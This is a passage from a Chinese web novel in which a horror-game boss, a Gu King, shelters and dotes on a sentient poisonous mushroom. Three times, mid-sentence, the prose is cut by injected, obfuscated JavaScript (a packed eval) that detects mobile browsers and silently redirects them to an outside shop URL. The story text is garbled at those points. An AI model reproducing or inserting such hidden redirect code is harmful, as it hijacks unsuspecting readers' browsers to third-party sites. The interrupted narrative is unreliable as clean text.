符歇瞳孔漆黑,没有一丝光亮,一手提刀,抬起另一只手,擦了一把脸上扬到的木屑。 一片死寂中,他冷冽开口: “我是不是警告过你们——别碰,我的,蘑菇。” 4. 菇很害怕 桌子上的顾初眠看见符歇,立刻扭动起来。 【人!你来救我了!】 符歇面无表情地踏进屋子中。 在他跨过门槛的那一刻,时间的流速变慢,空中浮现出万千行血红色的大字: “警告!警告!boss违规踏入玩家居所!!!” “请立刻离开玩家居所!!!” “严禁在规则外私自伤害或杀死玩家!!!” “违者,抹杀!!!!!!” “抹杀倒计时已开启:十,九,八,七……” 被规则疯狂警告,符歇眼睛都不眨一下。 他神情漠然,提着刀路过一排排血红色的字。 行动虽然缓慢,但十分坚定。 心如匪石。 顾蘑菇被这阵仗吓到了。 他不明白人只是来接他回家,为什么情况会变得这么吓菇。 符歇的目标非常明确。 时间有限,他看也没看跌坐在地的西装男,和不省人事的壮汉,径直向桌上的蘑菇走去。 机械女声冰冷地倒数: “六,五,四……” 符歇跨过阻拦在前方的规则提示,抓起桌上吓得呆滞的蘑菇。 然后转身,毫不犹豫地往屋外走。 “三,二,一,抹杀,启动。” 最终,在倒计时归零的那一刻。 身后密密麻麻的红字化作一条条细细的红线,朝着符歇的方向瞬间收拢。 符歇把蘑菇握在手里,恰好踏出门槛。 尚还在门内的衣角顷刻间化为齑粉,连灰都不剩。 顾蘑菇被符歇握在手里,毫发无伤。 “没事了。”尘埃落定,少年轻声说。 十分钟前,符歇回到家,看见光秃秃的瓷碗时,立刻就明白发生了什么。 哪怕会违背规则的指令,他还是毫不犹豫地赶来,带走他的蘑菇。 他也知道,顾蘑菇肯定是吓到了。 ——顾初眠真是被吓坏了。 离开玩家的居所后,小蘑菇依旧在发抖,扒着符歇的手指,说什么也不肯放开。 食指指腹传来软软的触感,蘑菇的伞伞牢牢包裹着少年修长的手指,像是一个圆圆的吸盘。 “完全……吓坏了么?”符歇叹息一声。 少年把托着蘑菇的手掌举到眼前,指间的银链跟随着动作晃荡,发出清脆的碰撞声。 那交错的银链缠绕着他的手指,像是两条银蛇,向手腕延伸,一直没入藏青色苗服的袖子中。 平日里俯身时,隐隐约约还能在他的颈部看到一点锃亮的银色反光。 在视线看不到的衣袍下,也有着交缠的链子,将他整个人都绑缚。 如果他不是恶名远播的【万毒蛊王】,不是【恐怖苗疆】的守关boss,肯定有不少玩家,会热衷于讨论他过于昳丽的容貌和禁欲的打扮。 只可惜,大多数见过符歇的玩家都死了。 符歇把手掌托到眼前,看着顾蘑菇,轻声安慰: “你不会有事的,你可是恐怖副本里的蘑菇。” 他摸了摸蘑菇的伞盖,试图安抚委屈的小家伙。 对了!顾初眠听到符歇这么说,忽然僵住。 他是毒蘑菇! 符歇也是人,万一符歇也被他毒晕了该怎么办?! 想到这个可能,顾蘑菇慌慌张张地打滚,想要翻出少年的手掌心。 却被少年用拇指轻轻按住。 “你这是……在担心我?”符歇艰难看出了蘑菇的想法,依旧耐心安抚着,“没事的,我可是恐怖副本里的boss。” ——万毒蛊王的名号,不是白叫的。 符歇天生与各种毒物亲近,没有任何一种毒会对他起效用。 或者说,他本身就是一种能够压制万毒的毒中之王。 【太好了,人没事!】 顾蘑菇听了这句话,总算把心放回蘑菇肚子里。 他趴在少年的手指上,大起大落以后,有些不想动弹。 见蘑菇被哄好了,少年难得地轻轻笑了一声。 想到什么,他的眼底又浮现出忌惮。 他对着掌上的蘑菇嘱咐:“今夜,你尽量不要发出任何动静,可能……会有很恐怖的事情发生。” 符歇刚带着顾蘑菇回到小楼中,就看见屋子西面的贡台上,香炉里点燃了三根血红色的线香。 注意到那一团渐渐成型的红色烟雾,符歇厌恶地皱眉: “果然……来了。” 他如临大敌,快步走进卧房。 把顾蘑菇放回碗里以后,他走出卧房,猛地关上了门。 顾初眠懵然地看着这一切发生。 【人!你去哪里!】 符歇说了让顾蘑菇别乱动,顾蘑菇便乖乖待在碗里,一动不动。 门外,传来符歇断断续续地说话声: “……没有……‘擅闯’。” “……是他们……先偷了……我的蘑菇。” “……蘑菇……不是道具……不能……拿走。” “……‘惩罚’?我,不,接,受。” 听上去,每一句话都是顶着巨大的压力,咬牙说出来的。 听出了少年此刻的痛苦,顾初眠焦急地伸直了杆杆。 发生什么事了? “唔……嗬……嗬……” 在顾蘑菇看不见的门外。少年捂着胸口,倒在了地上。 在一阵痛苦的喘息后,卧房的门被人打开。 看见是少年,顾蘑菇放松下来,探出脑袋,想查看他的状况。 【人!你没事吧?】 顾初眠并没有注意到,少年身上的银链已经变成了深黑色。 符歇周身萦绕着黑色的烟雾,抬起戾气横生的眼,看向从碗里探出脑袋的蘑菇。 “呵……”很突兀地,他忽然笑了。 然后一步,一步,向瓷碗靠近。 【不对!】 ——人黑化了! 顾蘑菇这才意识到少年情绪的不对劲。 他连忙想要把脑袋缩回土里。 却已经被少年提着伞盖,连根拔出。 “躲什么?”少年唇畔带着冰冷的笑意,“真是不乖。” 这句话像是针一样扎在顾初眠的身上。 可怜的蘑菇反抗不了人类,只能努力把自己蜷缩起来,试图用这种笨办法来自我保护。 在恶意的控制下,少年并没有怜惜瑟瑟发抖的蘑菇,反而是静静地欣赏蘑菇的窘态。 看够了,他沉着脸色,缓缓开口: “看来,和那群玩家一样,你也需要一些规矩。” 【不!要!】 顾蘑菇惊慌,奋力摆动杆杆。 他挣扎着抗议,却被少年无情压制。 少年拿出了对玩家宣布规则的语气,冷漠得不可思议: “第一,你是我的蘑菇,不许让别人碰你,不,许。” “第二,我对你好,只有我对你好,除了我,你不能在意任何人。” “第三,外面很危险,不要私自离开我,也不要做惹我生气的事情。” 说完,他捏着小蘑菇,用很大的力气揉搓那些可能被玩家碰过的部分。 顾初眠:好吓菇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401829|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 符歇用的力气很大,像是想用手指把那些曾经有过的触碰都抹去。 大到顾初眠感受到疼痛。 少年的唇角却依旧翘着,带着一种令蘑菇毛骨悚然的温柔。 顾蘑菇无辜地承受着少年的抚摸。 【疼!】 【人!菇好疼!】 顾蘑菇不会说话,无助极了。 就在顾初眠以为符歇会把他的伞盖掰下来时。 屋外响起一阵喧闹声。 少年被这阵动静唤醒,眼中的戾气稍有减退。 “蛊王小哥!你在家吗?”外头传来玩家的声音。 符歇不再动作,看着手中的蘑菇,恒久地沉默着。 他的眉眼隐藏在阴影中,看不清神情。 终于,他动了。 紧握着蘑菇,打开了房门。 门外打头的,是那个和壮汉争吵过的女人。 她身后还有两个玩家,架着口吐白沫的壮汉。 女人有些焦急地开口:“半夜打扰,实在抱歉——今天我们完成任务回来时,就发现他昏倒在房间,和他同住的另一个队友也不见了,我们觉得他可能是中了什么毒,想问问您有没有办法,可以……” “中了毒,找我干什么。”符歇握着蘑菇,薄唇微动,“我脸上写着会治病?” 如果说,平日里的符歇的态度是漠然。 那么他此刻的态度就是凶戾。 面对他比白日还要更恶劣的语气,女人一时间噎住。 符歇心情十分不佳,本打算把这种状态贯彻到底。 忽然,他感受到了手心中蘑菇那微弱的颤抖。 菇在害怕。 少年诡异地停顿了一下,像是忽然被施了定身咒。 他抬眉,又扔出一句:“有病去找巫医。” 说完,他垂下手。 一只蝎子从袖中掉出来,爬向了某个方向。 ——态度很凶,但还是给玩家们指路了。 “谢谢小哥!”女人连忙道谢,扭头和队友说,“我们快跟上。” 送走了玩家,少年深深吸了一口气。 深夜的苗寨满是雾气,湿重的空气涌入肺间,带来一丝清凉。 少年也逐渐冷静下来,身上的链条慢慢褪回银白色。 ——他刚才,干了什么? 在惩罚恶念的控制下,他把小蘑菇…… 不愿再细想,少年痛苦地闭上眼。 紧握着蘑菇的手终于松开,转变为熟悉的安抚。 小蘑菇默默观察着眼下的情况,一动不动地蜷缩在他的手心,像是受到了伤害后产生了迟疑。 “抱歉。” 符歇看着惊魂未定的顾蘑菇,艰难地开口。 “我……不是有意的。” 要被讨厌了。 少年清楚地知道。 此刻的符歇无比冷静。 他冷静地等待着顾蘑菇翻出自己的手掌。 就像是不久之前,蘑菇害怕身上带的毒伤害他时,想要做却又被他阻止的举动。 下一秒,感受到手心的触感。 少年不可抑制地睁大了眼。 他低头看去—— 小蘑菇获得自由后,第一时间做的,并不是逃离。 而是,小心翼翼地,抱住少年冰凉的手指。 一如往常。 顾蘑菇用伞盖抱住少年的手指,晃动白杆杆。 他笨拙地学着少年伸出手指摸他蘑菇脑袋、安慰他时的动作,用杆杆轻挠少年的手心。 【人!你没事吧?】 【菇很担心你!】 5. 小狗蘑菇 顾蘑菇不知道什么趋利避害。 更不知道应该远离会带来疼痛的人类。 他只知道,他最喜欢的人类,今晚不开心。 被顾初眠抱住手指的那一刻,符歇明显有些错愕。 少年露出了费解的神情:“你……” 为什么还要抱我? 为什么还敢信任我? 为什么,不怕我? 顾蘑菇并不知道少年脑海中纷乱的思绪。 他依旧在用杆杆轻抚着少年的手掌。 【人!没事!有菇在!】 符歇心中那股乱窜的邪火骤然被压制住,他重新恢复成平日里冷冷淡淡的模样。 “我……”他再次开口。 符歇想说些道歉的话。 转念一想,蘑菇或许听不懂。 “我给你带了很多不同颜色的叶子。”少年生硬地转了话锋,“就在瓷碗里,你看见了吗?” 顾蘑菇茫然地摇摇头。 刚才光顾着担心符歇了。 他完全没有注意到,瓷碗里多出了叶子。 见小蘑菇困惑歪头,坐在掌心,符歇的心情都好了几分。 怎么会有这么像小狗的蘑菇呢? “那我带你去看看。”少年微微勾唇,飞快说。 带着蘑菇进屋时,少年不好意思地低声补充: “……下一次,如果我再变得很奇怪的话,不要管我,保护好你自己。” 顾蘑菇又把脑袋向另一边歪去。 符歇一看就知道,小蘑菇还是听不懂。 一股分外无奈又酸酸甜甜的情绪涌上了少年的心。 从未有过的感觉。 符歇把顾初眠捧到了瓷碗前。 顾蘑菇看见花花绿绿的叶子们,像是跳水一般,一猛子扎进了树叶堆里。 【好多!】 小蘑菇在叶子堆里欢快地蛄蛹着。 符歇蹲在床头柜旁,纵容地看着撒欢的顾蘑菇。 顾初眠顶着一片叶子,从叶子堆里探出蘑菇脑袋。 蘑菇做出了一个违背祖宗的决定。 他现在是大富菇了! 不能再过得那么糙,应该要更懂生活一点。 有了想法以后,顾师傅很快在叶子堆里忙碌起来。 看懂顾蘑菇在做什么以后,符歇诧异地挑起了眉。 “——你这是,在给叶子分类?” 没错! 坐在叶子堆里的蘑菇抽空点点头。 顾初眠迅速用杆杆把叶子分成三堆。 嫩叶子用来吃,漂亮叶子用来当被子和枕头,又不好吃又不漂亮的叶子就丢掉! ……蘑菇也能这么精致吗? 符歇看着挑挑拣拣的蘑菇,唇角抽动,一时间不知道该不该笑。 分完了叶子,顾初眠认真检查了一遍以后,把不想要的那一堆从碗里推出来。 【好啦!】 符歇把不合格的叶子们拿在手里,研究它们不讨蘑菇喜欢的原因。 颜色很绿,形状很圆,叶片很大。 在人类的眼光里,明明很漂亮。 蘑菇为什么不喜欢? 符歇暂时没有头绪,他又看向瓷碗里留下的叶子。 那些被蘑菇认可的漂亮叶子——枫香,梧桐,八角金盘。 长得不算规整,甚至有几片都枯黄了。 “你喜欢什么样的叶子?”符歇索性直接问蘑菇。 顾蘑菇想了想,从碗里翻出来,滚到了桌子上。 用杆杆蘸着泥土,在桌子上勾画。 “这是……”符歇看着蘑菇在桌子上画出五个凸起的弧度,“人的手掌?” 符歇立刻就明白了: 顾蘑菇喜欢长得像是人类手掌的树叶。 顾蘑菇用杆杆指了指少年,又指了指自己。 最后敲敲桌子,认可了这个答案。 【人,托着菇!】 ——这就是蘑菇挑选树叶的标准。 符歇似是看懂了,轻垂下眼,又把顾蘑菇托在了手心。 顾蘑菇整只蘑菇一抖一抖,幸福地打起了小呼噜。 真好! 还是他温柔的好人! 顾蘑菇被少年托着,在少年的手上滚了几圈。 符歇也在看手心里的蘑菇。 真是——小狗蘑。 玩够了,顾初眠坐起来。 抬着蘑菇脑袋,不知道在想些什么。 【……咦?】 突然,顾蘑菇咕噜一下,往少年的手掌外翻去。 【咕!噜!咕!噜!】 看见飞出去的小蘑菇,符歇心跳空了一拍,伸手想要接住。 顾蘑菇却像一条狡猾的宽粉一般,灵活地扭动着,平安着陆在了垫满树叶的碗里。 然后,他奋力掰起树叶,披在了自己的杆杆上。 嘿!咻! 符歇看着披着披风、颇有占山为王之架势的顾蘑菇,颇为不解地问: “你是山大王吗?” 顾蘑菇自我欣赏地左扭右扭,满意得不得了。 他用伞盖提着叶子,像是提着衣摆,抬头挺胸,骄傲十足。 【人有衣服!菇没有!】 【菇也要衣服!】 少年观察了一会儿,才敢得出结论: “这是你的衣服?” 顾蘑菇抖了抖伞盖,尽情展示着。 蘑菇的新衣。 ——只有聪明的人,才能看出这是一件衣服。 【人!好看吧!】 顾蘑菇执着地炫耀。 对于毫无版型可言的蘑菇衣服,符歇很难违心说出夸奖的话。 像是小孩子披着被单,拙劣地扮演古代人物。 衣服很奇怪,蘑菇很可爱。 少年默了一下,拿起一片叶子。 伸出两只手指放在唇前,吹了一声口哨。 房梁上跳下来一只长腿大蜘蛛。 顾蘑菇立刻又怂怂地蹲下,缩成了圆嘟嘟的蘑菇团。 符歇微愣:“除了蛇和蝎子以外,你还怕蜘蛛?” ——要知道,苗疆总共就那么几种常见动物了。 这样不行。 符歇总有不在的时候,那时候,还得由这些毒物来保护顾初眠。 少年敲了敲顾蘑菇的脑袋,耐着性子哄: “其实,毒物一点也不可怕。” 顾蘑菇缩着不动弹。 符歇下一句说:“它们可以给你做漂亮衣服。” 顾蘑菇爱美,好奇心重,喜欢模仿人类,符歇已经观察出来了。 话音刚落,顾蘑菇一点一点抬起头。 他迟疑地偷看符歇。 【……人没骗菇?】 “真的。”符歇十分可信地点头,“不信你看。” 说着,符歇把那片叶子放在了蜘蛛的面前。 又弯下腰,从抽屉里翻出裁衣服用的图纸,认真看了一遍。 其他的毒物和顾蘑菇不一样,没有灵智。 听话是因为天生遵从蛊王,但也需要符歇亲自操控。 蜘蛛像是使用剪刀一般灵巧地使用着口器,把叶子裁剪成图纸上的形状。 树叶裁剪完毕后,它又吐出细细的银丝,将衣服的缝线处连接在一起。 抖掉树叶的碎片,一件小衣服就做好了。 符歇动念操控毒物时,小蘑菇就怯生生地踮起杆杆尖,很崇拜地伸着伞伞看。 【人好厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401830|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害!】 符歇把小叶子衣服捡起来,拿到小蘑菇身前比了比。 刚刚好,很合适。 顾蘑菇迫不及待地缩起伞伞,想要套上。 符歇没动,拿着衣服,忽然问: “毒物没那么吓人,对不对?” 顾蘑菇又不动了。 还是不太情愿。 为了消减蘑菇对于毒物的抗拒,符歇拿着那件小衣服,循循善诱: “我再让蝎子给你在衣服上画个图案,要不要?” 顾蘑菇纠结了很久很久。 最终是爱美之心战胜了对毒物的恐惧,点了点脑袋。 符歇立刻召来一只蝎子充当缝纫机。 “你想要什么样的图案。”他对着蘑菇,摊开手掌,“画在我手心上。” 顾蘑菇一笔一划地,在少年的手心上画下自己想要的图案。 图案有些简单,很容易看懂。 一只蘑菇,一个小人。 代表着顾蘑菇和符歇。 看清蘑菇在画什么后,少年收回手掌,心情有些复杂。 “你就这么喜欢我。” 顾蘑菇毫不犹豫地点了点头。 面对毫无保留的蘑菇,少年蛊王将唇抿成一条线。 他垂着头,发丝遮住眉眼,看不出在想些什么。 “不许。” 许久之后,他闷声说。 “不许这么喜欢我。” 少年很郁闷地抬起头,泄愤一般重重咬字,试图让蘑菇意识到这件事的重要性: “……我很危险,你明白吗?” 顾蘑菇不明白。 就在不久之前,黑化的少年还特意要求过—— “我对你好,只有我对你好,除了我,你不能在意任何人。” 到底哪个才是少年真正的心声? 单纯的蘑菇判断不出来。 少年说完后,并没有期待蘑菇的回答。 他迅速差遣蝎子画好了图案,揪着小叶子衣服的衣角,把画着人和蘑菇的衣服套在了顾蘑菇的身上。 顾蘑菇穿上新衣服,在瓷碗里满足地蹦了一下,把伞伞撑得圆圆的,很是招摇。 【菇!好!开!心!】 他是有衣服穿的漂亮蘑菇! 和其他蘑菇都不一样! 见蘑菇如此雀跃,少年安静片刻后,才开口:“你喜欢就好。” 不许喜欢我。 但是,你喜欢就好。 顾初眠又缠着少年给他做了一件蘑菇睡衣。 非要学着少年的样子,换上睡衣以后,他才肯睡觉。 符歇干脆一连又做了好几套,根据自己原先做衣服的图纸,给小蘑菇裁剪了款式一模一样的。 顾蘑菇喜滋滋地一件一件试穿。 【人一件,菇一件!】 符歇看着美得简直要冒泡的小蘑菇,眼神无奈中带着纵容。 和小蘑菇共处的夜晚总是过得很快。 当苗疆的天再次翻起鱼肚白,少年从床上坐起。 想到又要去料理玩家的事,符歇脸上罕见浮现出不情愿。 不想早起,不想上工,不想去应付玩家。 和通了灵智就再也无法忍受寂寞的蘑菇一样,少年也有些厌倦了这种周而复始的无聊。 原先便心存逆反,这个轮回尤甚。 他机械地起床,洗漱,劈柴,生火,烧水。 将上个轮回晒的腊肉剁成片,和糯米一起放入蒸笼中,做糯米饭。 顾蘑菇被少年放在了一旁,好奇地探着脑袋看着。 原来人不吃叶子啊。 【人吃糯米?】 斑鸠和竹鸡也吃糯米。 所以……人是大鸟? 6. 人是大鸟 ——人是大鸟? 小小的蘑菇产生了大大的疑惑。 为了解开这个疑惑,顾蘑菇垂下脑袋,努力思考: 首先,少年吃糯米,大鸟也吃糯米。 蘑菇不是大鸟,蘑菇就不吃糯米。 其次,少年和大鸟都很……大! 蘑菇不是大鸟,蘑菇就小小一只。 最后,少年和大鸟都有两条长长的腿! 越大的鸟腿越长,聪明的蘑菇观察过的。 蘑菇不是大鸟,蘑菇就只有一根短短的杆杆。 这么一通对比下来,蘑菇确认了: 人是大鸟,绝对不会错! 顾蘑菇沉思时,符歇吃完早饭,该要出门了。 少年打开实木衣柜,伸出修长的手,从一堆一模一样的藏青色苗服中,随手挑了一件。 他将苗服穿在身上,戴上成套的银器配饰,再揣上几只颜色鲜艳的毒物。 根据游戏下发的《NPC着装规范》,一比一复刻了游戏论坛上BOSS介绍页上的穿搭。 没办法,有些玩家脸盲,只有这么打扮的时候,才能把符歇认出来。 哪怕是完全没变化的打扮,顾蘑菇依旧晃着脑袋捧场。 【人!好看!】 “你一只蘑菇在家,要照顾好自己。” 符歇弯下腰,摸了摸动来动去的蘑菇脑袋,起身出门。 还未走出几步。 想到昨天玩家把蘑菇带走的事情,少年的脚步一顿。 他回身,看着天真的小蘑菇,破天荒生出一些犹豫。 做出那个决定,只在一瞬间。 符歇折返,从柴堆旁拿起竹编的背篓,又把装蘑菇的瓷碗给放了进去。 利落盖上盖子前,少年松了一口气。 他微微勾唇,略显轻快地,对着背篓里的小蘑菇说: “陪我上工。” 不能翘掉工作,那就自带工友。 这一切发生得太快,顾蘑菇懵然抬着小脑袋。 眼睁睁看着头顶的光线,被一颗圆滚滚的黑色月亮吞噬。 慢半拍地,顾蘑菇反应过来。 那不是什么圆滚滚的黑色月亮。 而是少年背篓的盖盖。 顾蘑菇立刻雀跃了。 【……人带着菇!一起!】 符歇光顾着要带走顾蘑菇了,没想到要给装着顾蘑菇的瓷碗做固定。 山路颠簸,瓷碗在空荡荡的背篓里滑来滑去。 哗啦——哗啦—— 【咿?】 顾蘑菇茫然坐在碗里,探着脑袋,随着碗一起转圈圈。 初入人类世界的蘑菇,猝不及防地体验上了本该是游乐园里才有的转转杯。 当事菇有点紧张,但更多是兴奋。 【好玩好玩!】 他将脑袋趴在碗沿上,牢牢不松开。 杆杆开心地翘起来,整只蘑菇随着碗一起旋转。 【好耶!飞咯!】 还没玩一会儿,背着背篓的少年忽然停下脚步。 蘑菇因为惯性从碗里飞了出去,在背篓里咕噜噜滚了一圈。 迷迷糊糊地,坐到了背篓的竹编底面上。 背篓外,滕阿婆中气十足的声音传来:“主事的,晚上收了工,去我家里头吃杀猪菜啰!” “不必了,阿婆。我家里还有腊肉没吃完,您的猪,还是留着自家人吃吧。” 符歇顿了顿,低声补充:“……如果能多吃几天,少杀几次猪,那就更好了。” 滕阿婆呵呵一笑,就当没听到,丝滑地跳过了这个话题。 “嗨呀,你也是我们看着长大的,也算是自家人,见什么外嘛。”她对着符歇泼辣直言,单方面决定道,“少废话啊,晚上必须来!” 符歇没再说话,似乎是放弃抵抗,默认了。 就在这时,滕阿婆吸了吸鼻子,忽然说:“奇怪,好像有什么味道。” 符歇不解,眉头微蹙: “‘什么味道?’” 滕阿婆仔细辨认了一下:“我好像闻到了,蘑菇的香味。” 背篓里,顾蘑菇骤然被点了名。 他带着骄傲和羞涩,扭扭捏捏地抬起脑袋。 真是哒~菇有那么香吗! “是有蘑菇。”符歇承认,“就在我的背篓里。” “采了什么蘑菇啊?” 滕阿婆来了兴致,二话不说拄着拐杖,走到符歇身后,伸手揭开他的背篓盖子。 背篓里的顾蘑菇昂首挺胸,张开伞伞。 他摆出了一个自认完美的pose,等着人来夸奖他。 不料滕阿婆看见他,却露出一个失望的表情: “什么嘛,这里头不就只有一棵鸡腿菇吗?” 不,就,只,有,一,棵,鸡,腿,菇,吗?! 骤然听见那个羞耻的名字,顾蘑菇像是胸口中了一箭。 【呃啊!】 完蛋啦!菇痛失乳名! 一瞬间,顾蘑菇被压得抬不起头,骤然没了刚才的气焰。 仿佛周围路过的蚂蚁都在嘲笑他: “哈哈,原来你叫鸡腿菇啊!这名字真是太幼稚啦!” “您说什么?”符歇稍显疑惑,“他是,一朵鸡腿菇?” 这还是他第一次得知顾蘑菇的品种。 背篓里的小蘑菇左边瞧瞧,右边看看。 抬头看看头顶的天,又低头看看底下的背篓。 他在试图把自己伪装成一朵偶然路过的无辜路菇。 鸡腿菇是谁? 他不知道,不了解,不认识。 “是啊,就是炒菜吃的鸡腿菇,山上一抓一大把。”藤阿婆只看了一眼顾蘑菇,便移开了视线,无意间又补了好几刀,“小鸡腿菇是白色的,黑的已经长得有些老了,不能吃了,有毒。” 【什——蘑?!】 顾蘑菇脑袋一歪,软绵绵地栽倒下去。 不论是“山上一抓一大把”,还是“已经长得有些老了”。 都在狠狠挑动着一朵蘑菇脆弱的神经。 听见背篓里细微的动静,符歇眼皮跳了跳,连忙出言阻止。 “……阿婆,您别说了。” 他一边劝阻,一边急忙卸下背上的背篓,着急查看蘑菇的情况。 小狗蘑菇垂着脑袋,生无可恋地躺平任嘲,看着有些萎靡不振。 符歇心疼地抿唇,把蘑菇捧到手心里。 滕阿婆见符歇把不能吃的蘑菇当宝贝,愈发痛心疾首。 她沧桑地背着手,忍不住感慨:“现在的年轻人啊,真是一代不如一代!” 符歇:…… 滕阿婆:“每天忙来忙去的,就采了一个蘑菇。” 符歇:…… 滕阿婆:“还采的是这种不能吃的,眼神还没我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401831|200431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老婆子的好使。” 符歇:。 事实证明,阿婆真的不是故意伤害蘑菇的。 她只是无差别攻击所有生物。 受伤的少年捧着受伤的蘑菇陷入了沉默。 这时,听见了阿婆的数落,原本缩成一团、萎靡不振的蘑菇,忽然激动起来。 【才!不!是!】 人才不是眼神不好的人! 人就是——特别好啊!!! 顾蘑菇自己被嘲讽了,只会窝窝囊囊地躺倒。 听见滕阿婆说符歇不好,它却立刻支棱了起来。 居然说符歇的坏话,顾初眠整只蘑菇都被激怒了! 他腾地一下,从符歇的掌心爬起,气势汹汹地弓起背,蓄势待发。 如果有养过狗的人看见了这一幕,便会发现,蘑菇的这个动作似乎有点熟悉。 ——是小狗生气要咬人的前兆。 符歇见蘑菇忽然爬起来,垂眸看着,有些不解。 还以为是蘑菇太委屈,被气得感统失调了。 “别难过,我……”他的话还没说完。 下一秒,顾蘑菇猛地跳起,朝着滕阿婆飞了出去。 它像是一枚小小炮弹,又像是一头全盛状态下的比格。 【菇!噜!菇!噜!!!】 蘑菇一边以无人能懂的蘑菇语喊着,一边在空中划过一条完美的抛物线。 一时之间,两个人类都被这个无比离奇的“蘑菇飞渡”画面震撼住了。 顾蘑菇降落在滕阿婆的手上,展开盖盖,尽自己最大的力量抱紧她的手指。 【要你说人的坏话!】 【咬你!】 直到手指被蘑菇的伞盖不轻不重地吸了一下,滕阿婆惊慌失措地喊: “哎哟,不得了喽!蘑菇咬人喽!” 【就咬你就咬你!坏家伙!】 看着乱成一团的场面,符歇连忙上前拉架。 少年并没有粗暴地把蘑菇从滕阿婆的手指上撕下。 而是蹲下身,平视蘑菇,和顾蘑菇交流。 “我知道你不高兴。”他摸着顾蘑菇紧绷的伞盖,言简意赅,“先松口,剩下的事情交给我。” 语气沉而缓,带着他一贯的冷。 但莫名其妙的,顾蘑菇就是知道,少年在哄他。 触及符歇认真的目光,顾蘑菇呆呆放松了盖盖,落回了符歇的手中。 见蘑菇终于重新回到手里,符歇几不可察地松了口气。 他收拢手掌,以一个既不会伤害蘑菇、又无法挣脱的力道,不动声色地捏紧了蘑菇。 在确认蘑菇无法再次离开后,他才开始和滕阿婆说明情况。 遇上一朵会咬人的蘑菇,对于一个八十岁的老人来说,冲击还是有点大了。 “你,你是说,他是一朵有了智慧的……蘑菇?”滕阿婆颤颤巍巍地扶着拐杖,被迫接受新事物。 “事实如此。”符歇说着,微微俯身,“对于他咬您的事,我替他,向您说句对不起。” 在符歇道歉的时候,顾初眠后知后觉地反应过来,自己刚才都做了些什么。 他好像……可能……或许……给人添麻烦了。 顾蘑菇从符歇的手掌中探出头,伞盖耷拉下来,内疚地看着这一幕。 又听到符歇冷静而克制地接着说: “与此同时,我也希望您能给他道个歉。” 7. 菇儿要脸 “给一朵蘑菇道歉?” 初次听到这种话,滕阿婆不可思议地瞪大了眼。 顾蘑菇也觉得很不可思议。 他的杆杆却已经下意识雀跃地晃了晃。 人居然没有怪他给人添了麻烦。 还说要让人的同类给他道歉! 千言万语,在蘑菇的心里,化作一句话。 【人——太好了!】 “他不是一般的蘑菇,他是一朵开了灵智的蘑菇。”符歇认真纠正,“您也可以把他当做一个人类小孩。” 人上了年纪难免犯倔,不愿意在小辈面前承认错误。 滕阿婆有些拉不下脸,辩驳道:“……他在蘑菇里年纪已经算很大了,才不是什么小孩。” 符歇果断沉声接话:“那就更应该把他当做一个成年人来对待。” “好吧,好吧……老咯……不中用咯……”滕阿婆半是牢骚,半是感慨,嘟嘟囔囔地说,“反正老婆子我是斗不过你们这些小年轻的,这苗疆终归要属于你们。” 她颤巍巍弯腰,看向符歇手里的蘑菇,端正了几分态度:“小鸡腿,老婆子我,向你赔个不是。” 宽宏大量的顾蘑菇,得到了人的维护,本来都已经不生气了。 可听见“小鸡腿”这个熟悉的称呼,他立刻变得无精打采。 趴在符歇手指上,哼哼唧唧地闹别扭。 【没有!】 【这里没有小鸡腿!】 【你找错蘑了!】 顾蘑菇决定把不承认自己是鸡腿菇的战术贯彻到底。 承认是不可能承认的,这辈子都不可能承认的。 ——菇儿要脸! 符歇却误以为,顾蘑菇是还对刚才的事情心存芥蒂。 “不想原谅也没关系。”少年轻声告诉蘑菇,“你有不原谅的权利。” 符歇的语气很认真,仿佛告诉蘑菇他可以做任何想做的事。 认真得蘑菇反而有点不好意思了。 他抬起脑袋,好奇地打量滕阿婆。 这个老老的人,是人的同类。 就像是蘑菇希望有同类的蘑菇朋友一样。 人应该也希望有同类的人朋友。 一想到符歇可能会因为没朋友,晚上一个人躲在被子里偷偷掉眼泪。 顾蘑菇就很忧虑。 他摆动杆杆,豁达地表示: 【老老的人!菇原谅你!】 “这是……不生气了?”符歇时刻关注着蘑菇的小动作。 “一朵蘑菇也有脾气,怪有意思的。”滕阿婆看了一会儿顾蘑菇,忽然问,“你这朵蘑菇,是从哪里采来的?山上还有没有?” 方才,滕阿婆对顾蘑菇,只是匆匆一瞥。 如今看久了,倒是觉得还有几分可爱。 鸡腿菇常见,会咬人的小狗蘑菇可不常有。 养一只会咬人的蘑菇,好像也不错? 哪怕不能看家,也能当暗器使用。 “独一无二。” 符歇微顿,刻意侧身,不动声色地挡住蘑菇,回避阿婆探查的眼光。 他极为快速地说:“我得去引导玩家了,阿婆回见。” 